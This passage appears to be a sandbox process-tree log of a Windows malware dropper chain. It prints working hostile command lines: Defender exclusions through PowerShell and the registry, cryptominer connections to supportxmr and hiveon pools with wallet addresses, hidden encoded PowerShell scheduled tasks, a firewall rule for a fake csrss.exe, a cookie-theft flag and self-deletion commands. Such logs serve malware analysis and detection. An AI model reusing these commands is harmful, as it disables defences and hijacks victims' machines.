-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\qtoeh1upyru\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\qtoeh1upyru\Setup3310.exe" /Verysilent /subid=57721⤵PID:7268
-
-
C:\Users\Admin\AppData\Local\Temp\iq13xyeibtf\r3xj4fb1snr.exe"C:\Users\Admin\AppData\Local\Temp\iq13xyeibtf\r3xj4fb1snr.exe" /ustwo INSTALL21⤵PID:8672
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "r3xj4fb1snr.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\iq13xyeibtf\r3xj4fb1snr.exe" & exit22⤵PID:10868
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "r3xj4fb1snr.exe" /f23⤵
- Kills process with taskkill
PID:11156
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\e54y3y23qb2\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\e54y3y23qb2\Setup3310.exe" /Verysilent /subid=57721⤵PID:8368
-
C:\Users\Admin\AppData\Local\Temp\is-T7I1O.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-T7I1O.tmp\Setup3310.tmp" /SL5="$E0268,138429,56832,C:\Users\Admin\AppData\Local\Temp\e54y3y23qb2\Setup3310.exe" /Verysilent /subid=57722⤵PID:5052
-
C:\Users\Admin\AppData\Local\Temp\is-T7G28.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-T7G28.tmp\Setup.exe" /Verysilent23⤵PID:12784
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\qgxkj3dkmur\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\qgxkj3dkmur\AwesomePoolU1.exe"21⤵PID:388
-
-
C:\Users\Admin\AppData\Local\Temp\2tnd4tils0b\5v3shfonfy2.exe"C:\Users\Admin\AppData\Local\Temp\2tnd4tils0b\5v3shfonfy2.exe" /ustwo INSTALL21⤵PID:6980
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "5v3shfonfy2.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\2tnd4tils0b\5v3shfonfy2.exe" & exit22⤵PID:11400
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "5v3shfonfy2.exe" /f23⤵
- Kills process with taskkill
PID:11544
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ymxzoo30m0x\vict.exe"C:\Users\Admin\AppData\Local\Temp\ymxzoo30m0x\vict.exe" /VERYSILENT /id=53521⤵PID:6552
-
C:\Users\Admin\AppData\Local\Temp\is-1G39E.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-1G39E.tmp\vict.tmp" /SL5="$50714,870426,780800,C:\Users\Admin\AppData\Local\Temp\ymxzoo30m0x\vict.exe" /VERYSILENT /id=53522⤵PID:4256
-
C:\Users\Admin\AppData\Local\Temp\is-0VSU0.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-0VSU0.tmp\winhost.exe" 53523⤵PID:5144
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\lusbwcuwm25\bpuh124x40q.exe"C:\Users\Admin\AppData\Local\Temp\lusbwcuwm25\bpuh124x40q.exe" /1-61021⤵PID:7192
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Autumn-Tree'22⤵PID:2164
-
-
C:\Program Files (x86)\Autumn-Tree\7za.exe"C:\Program Files (x86)\Autumn-Tree\7za.exe" e -p154.61.71.51 winamp.7z22⤵PID:12868
-
-
C:\Program Files (x86)\Autumn-Tree\bpuh124x40q.exe"C:\Program Files (x86)\Autumn-Tree\bpuh124x40q.exe" /1-61022⤵PID:13300
-
C:\Program Files (x86)\Autumn-Tree\bpuh124x40q.exe"C:\Program Files (x86)\Autumn-Tree\bpuh124x40q.exe" /1-61023⤵PID:6752
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\moa3ojejazk\app.exe"C:\Users\Admin\AppData\Local\Temp\moa3ojejazk\app.exe" /8-2321⤵PID:4372
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Falling-Dust"22⤵PID:10012
-
-
C:\Program Files (x86)\Falling-Dust\7za.exe"C:\Program Files (x86)\Falling-Dust\7za.exe" e -p154.61.71.51 winamp-plugins.7z22⤵PID:12296
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Falling-Dust\app.exe" -map "C:\Program Files (x86)\Falling-Dust\WinmonProcessMonitor.sys""22⤵PID:12860
-
C:\Program Files (x86)\Falling-Dust\app.exe"C:\Program Files (x86)\Falling-Dust\app.exe" -map "C:\Program Files (x86)\Falling-Dust\WinmonProcessMonitor.sys"23⤵PID:13028
-
-
-
C:\Program Files (x86)\Falling-Dust\7za.exe"C:\Program Files (x86)\Falling-Dust\7za.exe" e -p154.61.71.51 winamp.7z22⤵PID:12888
-
-
C:\Program Files (x86)\Falling-Dust\app.exe"C:\Program Files (x86)\Falling-Dust\app.exe" /8-2322⤵PID:648
-
C:\Program Files (x86)\Falling-Dust\app.exe"C:\Program Files (x86)\Falling-Dust\app.exe" /8-2323⤵PID:11660
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\MT17DVQ5TR\setups.exe"C:\Users\Admin\AppData\Local\Temp\MT17DVQ5TR\setups.exe" ll18⤵PID:8272
-
C:\Users\Admin\AppData\Local\Temp\is-K4MLR.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-K4MLR.tmp\setups.tmp" /SL5="$603CC,383902,148480,C:\Users\Admin\AppData\Local\Temp\MT17DVQ5TR\setups.exe" ll19⤵PID:6212
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX5\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX5\askinstall20.exe"17⤵PID:6720
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX5\file.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX5\file.exe"17⤵PID:300
-
C:\Users\Admin\AppData\Roaming\11FA.tmp.exe"C:\Users\Admin\AppData\Roaming\11FA.tmp.exe"18⤵PID:5296
-
C:\Users\Admin\AppData\Roaming\11FA.tmp.exe"C:\Users\Admin\AppData\Roaming\11FA.tmp.exe"19⤵PID:5064
-
-
-
C:\Users\Admin\AppData\Roaming\1576.tmp.exe"C:\Users\Admin\AppData\Roaming\1576.tmp.exe"18⤵PID:5740
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\1576.tmp.exe"19⤵PID:9008
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK20⤵
- Delays execution with timeout.exe
PID:1596
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\9f78c512..exe"C:\Users\Admin\AppData\Local\Temp\9f78c512..exe"18⤵PID:10004
-
C:\Windows\system32\msiexec.exe-o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 999919⤵PID:10636
-
-
C:\Windows\system32\msiexec.exe-P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 9999919⤵PID:11128
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX5\file.exe"18⤵PID:5632
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.119⤵
- Runs ping.exe
PID:10660
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\RarSFX5\md2_2efs.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX5\md2_2efs.exe"17⤵PID:8020
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\k4zfet1m.fz4\setup.exe /S /kr /site_id=754 & exit15⤵PID:8684
-
C:\Users\Admin\AppData\Local\Temp\k4zfet1m.fz4\setup.exeC:\Users\Admin\AppData\Local\Temp\k4zfet1m.fz4\setup.exe /S /kr /site_id=75416⤵PID:7488
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"17⤵PID:7644
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&18⤵PID:1316
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3219⤵PID:8720
-
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6419⤵PID:3288
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gLovjwBKL" /SC once /ST 14:11:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="17⤵
- Creates scheduled task(s)
PID:10168
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gLovjwBKL"17⤵PID:4820
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gLovjwBKL"17⤵PID:6088
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bmIXAqnwlcZKDlfrrr" /SC once /ST 18:29:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\JRSbMVr.exe\" 9n /site_id 754 /S" /V1 /F17⤵
- Creates scheduled task(s)
PID:2828
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "bmIXAqnwlcZKDlfrrr"17⤵PID:5620
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\h0auox3j.yqq\Four.exe & exit15⤵PID:4900
-
C:\Users\Admin\AppData\Local\Temp\h0auox3j.yqq\Four.exeC:\Users\Admin\AppData\Local\Temp\h0auox3j.yqq\Four.exe16⤵PID:7276
-
C:\Users\Admin\AppData\Local\Temp\7GCIRZM9N5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\7GCIRZM9N5\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 10417⤵PID:4816
-
C:\Users\Admin\AppData\Local\Temp\7GCIRZM9N5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\7GCIRZM9N5\multitimer.exe" 1 3.1616696660.605cd5540524f 10418⤵PID:2584
-
C:\Users\Admin\AppData\Local\Temp\7GCIRZM9N5\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\7GCIRZM9N5\multitimer.exe" 2 3.1616696660.605cd5540524f19⤵PID:9224
-
C:\Users\Admin\AppData\Local\Temp\e3cuysm12at\vict.exe"C:\Users\Admin\AppData\Local\Temp\e3cuysm12at\vict.exe" /VERYSILENT /id=53520⤵PID:10188
-
C:\Users\Admin\AppData\Local\Temp\is-QAJAR.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-QAJAR.tmp\vict.tmp" /SL5="$30738,870426,780800,C:\Users\Admin\AppData\Local\Temp\e3cuysm12at\vict.exe" /VERYSILENT /id=53521⤵PID:4960
-
C:\Users\Admin\AppData\Local\Temp\is-MUST6.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-MUST6.tmp\winhost.exe" 53522⤵PID:10536
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\lfghd4ywsk2\xaemhgpaeva.exe"C:\Users\Admin\AppData\Local\Temp\lfghd4ywsk2\xaemhgpaeva.exe" /ustwo INSTALL20⤵PID:9212
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "xaemhgpaeva.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\lfghd4ywsk2\xaemhgpaeva.exe" & exit21⤵PID:5832
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "xaemhgpaeva.exe" /f22⤵
- Kills process with taskkill
PID:11004
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\qwil5dwkabh\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\qwil5dwkabh\AwesomePoolU1.exe"20⤵PID:8964
-
-
C:\Users\Admin\AppData\Local\Temp\anzftsbawm0\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\anzftsbawm0\Setup3310.exe" /Verysilent /subid=57720⤵PID:7472
-
C:\Users\Admin\AppData\Local\Temp\is-DQCRT.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-DQCRT.tmp\Setup3310.tmp" /SL5="$3077A,138429,56832,C:\Users\Admin\AppData\Local\Temp\anzftsbawm0\Setup3310.exe" /Verysilent /subid=57721⤵PID:9180
-
C:\Users\Admin\AppData\Local\Temp\is-MN8UK.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-MN8UK.tmp\Setup.exe" /Verysilent22⤵PID:10972
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\muhkgwqro1c\app.exe"C:\Users\Admin\AppData\Local\Temp\muhkgwqro1c\app.exe" /8-2320⤵PID:4232
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Icy-River"21⤵PID:2524
-
-
C:\Program Files (x86)\Icy-River\7za.exe"C:\Program Files (x86)\Icy-River\7za.exe" e -p154.61.71.51 winamp-plugins.7z21⤵PID:10844
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Icy-River\app.exe" -map "C:\Program Files (x86)\Icy-River\WinmonProcessMonitor.sys""21⤵PID:1776
-
C:\Program Files (x86)\Icy-River\app.exe"C:\Program Files (x86)\Icy-River\app.exe" -map "C:\Program Files (x86)\Icy-River\WinmonProcessMonitor.sys"22⤵PID:6224
-
-
-
C:\Program Files (x86)\Icy-River\7za.exe"C:\Program Files (x86)\Icy-River\7za.exe" e -p154.61.71.51 winamp.7z21⤵PID:9488
-
-
C:\Program Files (x86)\Icy-River\app.exe"C:\Program Files (x86)\Icy-River\app.exe" /8-2321⤵PID:4260
-
C:\Program Files (x86)\Icy-River\app.exe"C:\Program Files (x86)\Icy-River\app.exe" /8-2322⤵PID:10264
-
C:\Windows\System32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"23⤵PID:12584
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes24⤵PID:5720
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\ch302r4ygcd\cpx21i5hmro.exe"C:\Users\Admin\AppData\Local\Temp\ch302r4ygcd\cpx21i5hmro.exe" /1-61020⤵PID:1272
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Solitary-Sun'21⤵PID:2544
-
-
C:\Program Files (x86)\Solitary-Sun\7za.exe"C:\Program Files (x86)\Solitary-Sun\7za.exe" e -p154.61.71.51 winamp.7z21⤵PID:4156
-
-
C:\Program Files (x86)\Solitary-Sun\cpx21i5hmro.exe"C:\Program Files (x86)\Solitary-Sun\cpx21i5hmro.exe" /1-61021⤵
- Modifies Internet Explorer settings
PID:5080 -
C:\Program Files (x86)\Solitary-Sun\cpx21i5hmro.exe"C:\Program Files (x86)\Solitary-Sun\cpx21i5hmro.exe" /1-61022⤵PID:10484
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\rcthuecialv\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\rcthuecialv\Setup3310.exe" /Verysilent /subid=57720⤵PID:12012
-
C:\Users\Admin\AppData\Local\Temp\is-A29J5.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-A29J5.tmp\Setup3310.tmp" /SL5="$30700,138429,56832,C:\Users\Admin\AppData\Local\Temp\rcthuecialv\Setup3310.exe" /Verysilent /subid=57721⤵PID:11712
-
C:\Users\Admin\AppData\Local\Temp\is-PDK9K.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-PDK9K.tmp\Setup.exe" /Verysilent22⤵PID:4740
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\hncqp4ecrkd\n5r4w4edkzm.exe"C:\Users\Admin\AppData\Local\Temp\hncqp4ecrkd\n5r4w4edkzm.exe" /ustwo INSTALL20⤵PID:12048
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "n5r4w4edkzm.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\hncqp4ecrkd\n5r4w4edkzm.exe" & exit21⤵PID:12456
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "n5r4w4edkzm.exe" /f22⤵
- Kills process with taskkill
PID:13120
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\imq5focagjb\vict.exe"C:\Users\Admin\AppData\Local\Temp\imq5focagjb\vict.exe" /VERYSILENT /id=53520⤵PID:11432
-
C:\Users\Admin\AppData\Local\Temp\is-361L9.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-361L9.tmp\vict.tmp" /SL5="$506AE,870426,780800,C:\Users\Admin\AppData\Local\Temp\imq5focagjb\vict.exe" /VERYSILENT /id=53521⤵PID:5528
-
C:\Users\Admin\AppData\Local\Temp\is-TS6P3.tmp\winhost.exe"C:\Users\Admin\AppData\Local\Temp\is-TS6P3.tmp\winhost.exe" 53522⤵PID:11896
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\yz4smmj4tzi\AwesomePoolU1.exe"C:\Users\Admin\AppData\Local\Temp\yz4smmj4tzi\AwesomePoolU1.exe"20⤵PID:11760
-
-
C:\Users\Admin\AppData\Local\Temp\dhj1gzufgrn\1mbepj5qgtr.exe"C:\Users\Admin\AppData\Local\Temp\dhj1gzufgrn\1mbepj5qgtr.exe" /1-61020⤵PID:11740
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Broken-Wave'21⤵PID:11944
-
-
C:\Program Files (x86)\Broken-Wave\7za.exe"C:\Program Files (x86)\Broken-Wave\7za.exe" e -p154.61.71.51 winamp.7z21⤵PID:11412
-
-
C:\Program Files (x86)\Broken-Wave\1mbepj5qgtr.exe"C:\Program Files (x86)\Broken-Wave\1mbepj5qgtr.exe" /1-61021⤵PID:12360
-
C:\Program Files (x86)\Broken-Wave\1mbepj5qgtr.exe"C:\Program Files (x86)\Broken-Wave\1mbepj5qgtr.exe" /1-61022⤵PID:8548
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\z3xndot2g5a\app.exe"C:\Users\Admin\AppData\Local\Temp\z3xndot2g5a\app.exe" /8-2320⤵PID:11736
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Program Files (x86)\Fragrant-Snow"21⤵PID:9544
-
-
C:\Program Files (x86)\Fragrant-Snow\7za.exe"C:\Program Files (x86)\Fragrant-Snow\7za.exe" e -p154.61.71.51 winamp-plugins.7z21⤵PID:12464
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ""C:\Program Files (x86)\Fragrant-Snow\app.exe" -map "C:\Program Files (x86)\Fragrant-Snow\WinmonProcessMonitor.sys""21⤵PID:6420
-
C:\Program Files (x86)\Fragrant-Snow\app.exe"C:\Program Files (x86)\Fragrant-Snow\app.exe" -map "C:\Program Files (x86)\Fragrant-Snow\WinmonProcessMonitor.sys"22⤵PID:12688
-
-
-
C:\Program Files (x86)\Fragrant-Snow\7za.exe"C:\Program Files (x86)\Fragrant-Snow\7za.exe" e -p154.61.71.51 winamp.7z21⤵PID:12376
-
-
C:\Program Files (x86)\Fragrant-Snow\app.exe"C:\Program Files (x86)\Fragrant-Snow\app.exe" /8-2321⤵PID:9264
-
C:\Program Files (x86)\Fragrant-Snow\app.exe"C:\Program Files (x86)\Fragrant-Snow\app.exe" /8-2322⤵PID:10932
-
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\CSDNMU0V3R\setups.exe"C:\Users\Admin\AppData\Local\Temp\CSDNMU0V3R\setups.exe" ll17⤵PID:10156
-
C:\Users\Admin\AppData\Local\Temp\is-L0CNG.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-L0CNG.tmp\setups.tmp" /SL5="$30502,383902,148480,C:\Users\Admin\AppData\Local\Temp\CSDNMU0V3R\setups.exe" ll18⤵PID:3928
-
-
-
-
-
-
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\hjjgaa.exe"C:\Program Files (x86)\Versium Research\Versium Research\hjjgaa.exe"11⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
PID:5344 -
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:4488
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
- Suspicious use of SetWindowsHookEx
PID:6496
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵PID:7852
-
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵PID:6376
-
-
-
C:\Program Files (x86)\Versium Research\Versium Research\Z7pGMA6DzfieVAOXDEtkk7kL.exe"C:\Program Files (x86)\Versium Research\Versium Research\Z7pGMA6DzfieVAOXDEtkk7kL.exe"11⤵
- Executes dropped EXE
- Adds Run key to start application
PID:5484 -
C:\Users\Admin\Documents\CiUouV6RK8ZKdVG9G8353Uvt.exe"C:\Users\Admin\Documents\CiUouV6RK8ZKdVG9G8353Uvt.exe"12⤵
- Executes dropped EXE
- Adds Run key to start application
PID:500 -
C:\Users\Admin\Documents\AMUgaVk6FcRLMySk7lnxBW6t.exe"C:\Users\Admin\Documents\AMUgaVk6FcRLMySk7lnxBW6t.exe"13⤵
- Suspicious use of SetWindowsHookEx
PID:5204 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5204 -s 167614⤵
- Program crash
PID:8260
-
-
-
C:\Users\Admin\Documents\k7pW4NSWZmpdZPrHY4aLp4p0.exe"C:\Users\Admin\Documents\k7pW4NSWZmpdZPrHY4aLp4p0.exe"13⤵
- Suspicious use of SetWindowsHookEx
PID:5992 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{tSbZ-ph8Xt-S3DH-lfGjp}\74201405900.exe"14⤵PID:4028
-
C:\Users\Admin\AppData\Local\Temp\{tSbZ-ph8Xt-S3DH-lfGjp}\74201405900.exe"C:\Users\Admin\AppData\Local\Temp\{tSbZ-ph8Xt-S3DH-lfGjp}\74201405900.exe"15⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
PID:8332 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im 74201405900.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{tSbZ-ph8Xt-S3DH-lfGjp}\74201405900.exe" & del C:\ProgramData\*.dll & exit16⤵PID:9932
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im 74201405900.exe /f17⤵
- Kills process with taskkill
PID:7724
-
-
C:\Windows\SysWOW64\timeout.exetimeout /t 617⤵
- Delays execution with timeout.exe
PID:7960
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{tSbZ-ph8Xt-S3DH-lfGjp}\49050741582.exe" /mix14⤵PID:8504
-
C:\Users\Admin\AppData\Local\Temp\{tSbZ-ph8Xt-S3DH-lfGjp}\49050741582.exe"C:\Users\Admin\AppData\Local\Temp\{tSbZ-ph8Xt-S3DH-lfGjp}\49050741582.exe" /mix15⤵
- Checks processor information in registry
PID:5340 -
C:\Users\Admin\AppData\Local\Temp\Finik.exe"C:\Users\Admin\AppData\Local\Temp\Finik.exe"16⤵PID:7580
-
C:\Users\Admin\AppData\Local\Temp\New Feature\5.exe"C:\Users\Admin\AppData\Local\Temp\New Feature\5.exe"17⤵PID:5472
-
-
C:\Users\Admin\AppData\Local\Temp\New Feature\vpn.exe"C:\Users\Admin\AppData\Local\Temp\New Feature\vpn.exe"17⤵PID:7720
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\System32\svchost.exe"18⤵PID:6584
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CmD < Mantenga.eps18⤵PID:9428
-
C:\Windows\SysWOW64\cmd.exeCmD19⤵PID:9892
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\New Feature\6.exe"C:\Users\Admin\AppData\Local\Temp\New Feature\6.exe"17⤵PID:5968
-
C:\Windows\SysWOW64\svchost.exe"C:\Windows\System32\svchost.exe"18⤵PID:7440
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c CmD < Cambio.accdr18⤵PID:9768
-
C:\Windows\SysWOW64\cmd.exeCmD19⤵PID:9292
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\New Feature\4.exe"C:\Users\Admin\AppData\Local\Temp\New Feature\4.exe"17⤵PID:6828
-
C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"C:\Users\Admin\AppData\Roaming\Smart Clock\SmartClock.exe"18⤵PID:8512
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c rd /s /q C:\Users\Admin\AppData\Local\Temp\GrcJpBRROOHfo & timeout 3 & del /f /q "C:\Users\Admin\AppData\Local\Temp\{tSbZ-ph8Xt-S3DH-lfGjp}\49050741582.exe"16⤵PID:8104
-
C:\Windows\SysWOW64\timeout.exetimeout 317⤵
- Delays execution with timeout.exe
PID:6296
-
-
-
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "k7pW4NSWZmpdZPrHY4aLp4p0.exe" /f & erase "C:\Users\Admin\Documents\k7pW4NSWZmpdZPrHY4aLp4p0.exe" & exit14⤵PID:9084
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "k7pW4NSWZmpdZPrHY4aLp4p0.exe" /f15⤵
- Kills process with taskkill
PID:8132
-
-
-
-
C:\Users\Admin\Documents\SyRKChyKMlzw2xirpLHPvuxF.exe"C:\Users\Admin\Documents\SyRKChyKMlzw2xirpLHPvuxF.exe"13⤵
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:5196 -
C:\Users\Admin\Documents\SyRKChyKMlzw2xirpLHPvuxF.exe"C:\Users\Admin\Documents\SyRKChyKMlzw2xirpLHPvuxF.exe"14⤵
- Suspicious use of SetWindowsHookEx
PID:2736 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c start /I "" "C:\Users\Admin\AppData\Local\Temp\{cjyB-LNk8S-H4ej-tlFlu}\46717035527.exe"15⤵PID:6064
-
